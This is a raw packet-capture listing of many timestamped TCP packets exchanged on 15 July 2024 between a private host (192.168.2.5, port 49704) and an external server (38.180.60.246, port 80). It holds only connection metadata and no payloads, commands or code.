Jul 15, 2024 00:48:22.144836903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144841909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144851923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144857883 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144862890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144874096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144885063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144898891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144915104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.145684958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145697117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145706892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145718098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145730019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145740032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.145741940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145754099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145766020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145767927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.145776987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145788908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145792007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.145801067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145811081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.145812035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145823956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145828962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.145836115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145848036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.145859957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.145886898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.145915031 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.146651983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146665096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146670103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146681070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146687031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146698952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146711111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146713972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.146723032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146734953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146747112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146749020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.146756887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146764040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146774054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146790028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.146790981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.146802902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.146833897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.147494078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.147505045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.147541046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.147568941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.147799015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.147844076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.147854090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.147866964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.147888899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.147908926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.148009062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148020983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148031950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148045063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148061991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.148087978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.148237944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148286104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.148335934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148346901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148358107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148370981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148382902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148386955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.148396015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.148408890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.148432016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.150616884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.150629997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.150643110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.150685072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.150685072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.150765896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.150778055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.150789976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.150800943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.150818110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.150841951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.151026011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.151036978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.151047945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.151058912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.151070118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.151076078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.151082993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.151098013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.151110888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.151139021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.151293993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.151344061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.232299089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232316017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232326031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232367992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232378960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232389927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232429981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.232491016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.232601881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232614040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232623100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232641935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.232671976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.232768059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232779026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232789993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232806921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.232832909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.232985020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.232995033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233007908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233019114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233021021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.233031034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233040094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.233042002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233052015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233067989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.233087063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.233530045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233541012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233550072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233561993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233578920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.233598948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.233975887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233985901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.233999014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234011889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234020948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.234020948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234035015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234040976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.234059095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.234086037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.234349012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234359980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234369993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234380007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234390020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234390974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.234400034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234411001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234421015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.234421968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234433889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.234440088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.234462976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.235037088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235047102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235055923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235066891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235078096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235085011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.235089064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235099077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235104084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.235112906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235122919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.235143900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.235740900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235753059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235763073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235774994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235790968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235799074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.235804081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235810041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.235816002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235827923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235836983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.235838890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235850096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235863924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235874891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.235882044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.235903025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.236556053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236568928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236578941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236592054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236603022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236609936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.236615896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236628056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236628056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.236639023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236649990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.236650944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236661911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236669064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.236675024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236685991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236687899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.236697912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.236716032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.236745119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.237442970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.237456083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.237466097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.237478971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.237490892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.237492085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.237519979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.237545013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.238291025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238303900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238313913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238326073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238337040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238342047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.238348961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238360882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238368034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.238373995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238384962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238388062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.238398075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238409042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.238415003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.238454103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.239159107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239172935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239186049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239224911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.239240885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.239372969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239386082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239398956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239411116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239420891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.239420891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239449024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.239687920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239700079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239711046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239731073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239732027 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.239742994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239748955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.239753962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239764929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239778042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.239778996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239792109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.239808083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.239826918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.240319014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.240365982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.240839958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.240885019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.240891933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.240916967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.240927935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.240947962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.241017103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241028070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241058111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.241075039 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.241168976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241179943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241192102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241218090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.241240025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.241353989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241364956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241377115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241389036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241396904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.241400957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241425037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.241442919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.241624117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241636038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.241672993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.642158031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642235041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642242908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.642246962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642272949 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.642288923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.642416000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642426968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642437935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642443895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642456055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.642457962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642478943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.642512083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.642956972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642967939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642977953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.642988920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643001080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643004894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.643013954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643024921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643034935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.643038034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643050909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643054962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.643070936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.643100023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.643541098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643553019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643563986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643573999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643587112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643598080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643609047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643609047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.643618107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.643620014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643637896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.643640995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643649101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643656969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643657923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.643665075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643671989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643673897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.643676043 CEST	49704	80	192.168.2.5	38.180.60.246
